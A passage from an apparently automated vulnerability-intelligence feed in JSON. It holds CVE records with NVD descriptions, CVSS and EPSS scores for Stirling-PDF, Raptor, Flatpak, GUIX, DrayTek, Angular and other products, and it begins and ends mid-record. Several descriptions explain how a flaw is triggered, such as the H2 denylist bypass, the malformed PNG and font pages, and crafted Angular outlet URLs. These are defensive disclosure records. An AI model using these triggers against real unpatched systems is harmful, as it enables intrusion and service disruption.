exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113605","cveId":"CVE-2026-113605","aliases":[],"kind":"vulnerability","title":"Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using...","summary":"Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using CREATE OR REPLACE ALIAS. Authenticated administrators can upload a crafted SQL backup to the import-database endpoint, where RUNSCRIPT defines H2 Java function aliases and restores Java-method execution.","detail":"Stirling-PDF from 2.13.2 through 3.2.0 contains an incomplete denylist in DatabaseService.validateSqlContent() that allows administrators to bypass H2 import restrictions using CREATE OR REPLACE ALIAS. Authenticated administrators can upload a crafted SQL backup to the import-database endpoint, where RUNSCRIPT defines H2 Java function aliases and restores Java-method execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:10.430Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113605","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00661,"percentile":0.51331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113605&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113605","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113605","type":"primary","publishedAt":"2026-10-20T16:17:10.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113605&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113605, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112836","cveId":"CVE-2026-112836","aliases":[],"kind":"vulnerability","title":"Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8.","summary":"Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8.","detail":"Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:04.017Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112836","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00177,"percentile":0.07185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112836","type":"primary","publishedAt":"2026-10-20T16:17:04.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-71436","cveId":"CVE-2025-71436","aliases":[],"kind":"vulnerability","title":"Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language...","summary":"Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language tag length to an unsigned char. Attackers can supply Turtle, TriG, N-Triples or N-Quads documents with language tags of 256 bytes or longer to corrupt heap memory, crash applications, and possibly execute code.","detail":"Raptor RDF Syntax Library from 2.0.15 through 2.0.16 contains a heap-based buffer overflow vulnerability in raptor_new_term_from_counted_literal() caused by truncating language tag length to an unsigned char. Attackers can supply Turtle, TriG, N-Triples or N-Quads documents with language tags of 256 bytes or longer to corrupt heap memory, crash applications, and possibly execute code.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:16:59.067Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71436","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00496,"percentile":0.42245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-71436&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-71436","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71436","type":"primary","publishedAt":"2026-10-20T16:16:59.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-71436&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-71436, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95168","cveId":"CVE-2026-95168","aliases":[],"kind":"vulnerability","title":"An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py","summary":"An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py","detail":"An issue in nvbn thefuck v.3.32 allows a local attacker to execute arbitrary code via the get_rules_import_paths in thefuck/corrector.py and Rule.from_path in thefuck/types.py\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T15:17:37.040Z","updatedAt":"2026-10-21T20:17:28.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95168","asOf":"2026-10-21T20:17:28.007Z"},"epss":{"probability":0.00222,"percentile":0.12616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95168","type":"primary","publishedAt":"2026-10-20T15:17:37.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92162","cveId":"CVE-2026-92162","aliases":[],"kind":"vulnerability","title":"Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux.","summary":"Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux. Prior to version 1.18.1, on systems where at least one OCI remote is configured (most common on Fedora systems), a malicious local user in an active local session could use a crafted architecture name to trick the `flatpak-system-helper` process into creating a root-owned directory tree with contents determined by the OCI remote, plus a root-owned `lock` file and `icons` directory, outside the intended root directory. If this vulnerability is combined with other vulnerabilities also fixed in 1.18.1, the combination can lead to local root privilege escalation. This particular vulnerability is not believed to be exploitable if there are no OCI remotes configured (common on non-Fedora systems). Version 1.18.1 patches the issue.","detail":"Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux. Prior to version 1.18.1, on systems where at least one OCI remote is configured (most common on Fedora systems), a malicious local user in an active local session could use a crafted architecture name to trick the `flatpak-system-helper` process into creating a root-owned directory tree with contents determined by the OCI remote, plus a root-owned `lock` file and `icons` directory, outside the intended root directory. If this vulnerability is combined with other vulnerabilities also fixed in 1.18.1, the combination can lead to local root privilege escalation. This particular vulnerability is not believed to be exploitable if there are no OCI remotes configured (common on non-Fedora systems). Version 1.18.1 patches the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T15:17:36.300Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92162","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00233,"percentile":0.14061,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92162","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92162","type":"primary","publishedAt":"2026-10-20T15:17:36.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91189","cveId":"CVE-2026-91189","aliases":[],"kind":"vulnerability","title":"The GUIX binary resource loader never checks that a font page's glyph range is well formed.","summary":"The GUIX binary resource loader never checks that a font page's glyph range is well formed. `gx_page_header_first_glyph` and `gx_page_header_last_glyph` are read verbatim from the file and only the upper bound of `last_glyph` is validated, so a page declaring `first_glyph > last_glyph` makes `last - first + 1` underflow to a very large unsigned count.\n\n\n\nThat count is multiplied by a glyph record size to reserve the load buffer, and the multiply is unchecked, so it wraps to a small value and the loader allocates a buffer far smaller than the data it is about to write. The load pass then recomputes the count in a narrower type and writes attacker-controlled glyph records into the undersized buffer.","detail":"The GUIX binary resource loader never checks that a font page's glyph range is well formed. `gx_page_header_first_glyph` and `gx_page_header_last_glyph` are read verbatim from the file and only the upper bound of `last_glyph` is validated, so a page declaring `first_glyph > last_glyph` makes `last - first + 1` underflow to a very large unsigned count.\n\n\n\nThat count is multiplied by a glyph record size to reserve the load buffer, and the multiply is unchecked, so it wraps to a small value and the loader allocates a buffer far smaller than the data it is about to write. The load pass then recomputes the count in a narrower type and writes attacker-controlled glyph records into the undersized buffer.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T15:17:36.167Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91189","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00135,"percentile":0.0292,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91189","type":"primary","publishedAt":"2026-10-20T15:17:36.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91186","cveId":"CVE-2026-91186","aliases":[],"kind":"vulnerability","title":"The PNG chunk reader has no notion of chunk ordering.","summary":"The PNG chunk reader has no notion of chunk ordering. It records whether an IDAT has been seen and whether a tRNS has already supplied transparency, but nothing prevents an IHDR being read a second time.\n\n\n\nA PNG carries exactly one IHDR and it is the first chunk. A file that places a second one after IDAT rewrites the image width, height, bit depth and pixel depth *after* the decoded-data buffer has already been allocated and filled from the original values. The pass that reverses the PNG row filters then derives its own extent from the new dimensions and walks the old allocation, moving image bytes past the end of it.\n\n\n\nThe buffer is allocated by GUIX rather than supplied by the caller, so the application has no way to size it defensively. The decoder is compiled in by default.","detail":"The PNG chunk reader has no notion of chunk ordering. It records whether an IDAT has been seen and whether a tRNS has already supplied transparency, but nothing prevents an IHDR being read a second time.\n\n\n\nA PNG carries exactly one IHDR and it is the first chunk. A file that places a second one after IDAT rewrites the image width, height, bit depth and pixel depth *after* the decoded-data buffer has already been allocated and filled from the original values. The pass that reverses the PNG row filters then derives its own extent from the new dimensions and walks the old allocation, moving image bytes past the end of it.\n\n\n\nThe buffer is allocated by GUIX rather than supplied by the caller, so the application has no way to size it defensively. The decoder is compiled in by default.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T15:17:36.023Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91186","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00159,"percentile":0.04966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91186","type":"primary","publishedAt":"2026-10-20T15:17:36.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113411","cveId":"CVE-2026-113411","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open...","summary":"A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open Handler. The manipulation of the argument url results in improper authorization in handler for custom url scheme. The attack can be executed remotely. The exploit has been made public and could be used. Upgrading to version 2.3.3 can resolve this issue. The patch is identified as f4df21bbc290f6c1956d899cf4da9e963074a6e4. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.","detail":"A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open Handler. The manipulation of the argument url results in improper authorization in handler for custom url scheme. The attack can be executed remotely. The exploit has been made public and could be used. Upgrading to version 2.3.3 can resolve this issue. The patch is identified as f4df21bbc290f6c1956d899cf4da9e963074a6e4. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T15:17:18.833Z","updatedAt":"2026-10-22T22:18:03.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113411","asOf":"2026-10-22T22:18:03.933Z"},"epss":{"probability":0.00287,"percentile":0.2103,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113411&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113411","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113411","type":"primary","publishedAt":"2026-10-20T15:17:18.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113411&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113411, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113397","cveId":"CVE-2026-113397","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the...","summary":"A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the component IPsec Handler. Such manipulation of the argument option leads to command injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.5.1.7 mitigates this issue. Upgrading the affected component is recommended. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the component IPsec Handler. Such manipulation of the argument option leads to command injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.5.1.7 mitigates this issue. Upgrading the affected component is recommended. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T15:17:18.337Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113397","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.01013,"percentile":0.62994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113397","type":"primary","publishedAt":"2026-10-20T15:17:18.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111752","cveId":"CVE-2026-111752","aliases":["GHSA-62vg-58rm-qff7"],"kind":"vulnerability","title":"@angular/router: Denial of Service via Unmatched Empty-Path Outlet Route Matching in Server-Side Rendering (SSR)","summary":"A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8).\n\nDuring route recognition, `@angular/router` fails to validate whether an auxiliary outlet segment in the URL matches a route configured for that specific outlet name. Because unconfigured empty-path outlet groups (such as `a:/()`, `x:/(...)`, or `///(...)`) are not rejected during matching, the router repeatedly re-evaluates the route configuration against each arbitrary outlet segment provided in the URL.","detail":"A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8).\n\nDuring route recognition, `@angular/router` fails to validate whether an auxiliary outlet segment in the URL matches a route configured for that specific outlet name. Because unconfigured empty-path outlet groups (such as `a:/()`, `x:/(...)`, or `///(...)`) are not rejected during matching, the router repeatedly re-evaluates the route configuration against each arbitrary outlet segment provided in the URL.\n\nWhen a request URL contains multiple arbitrary empty-path outlet segments, this improper matching forces the router to instantiate duplicate `ActivatedRouteSnapshot` trees, repeatedly execute `canMatch` guards and route resolvers, and allocate separate copies of route parameters and `queryParams` for each unconfigured outlet.\n\nAn unauthenticated remote attacker can exploit this behavior by sending requests with crafted outlet segments to exhaust the Node.js memory heap or overwhelm CPU resources, leading to SSR worker termination and service disruption.\n\n### Impact\n\nSuccessful exploitation allows an unauthenticated remote attacker to exhaust the Node.js heap with a single crafted request or a small 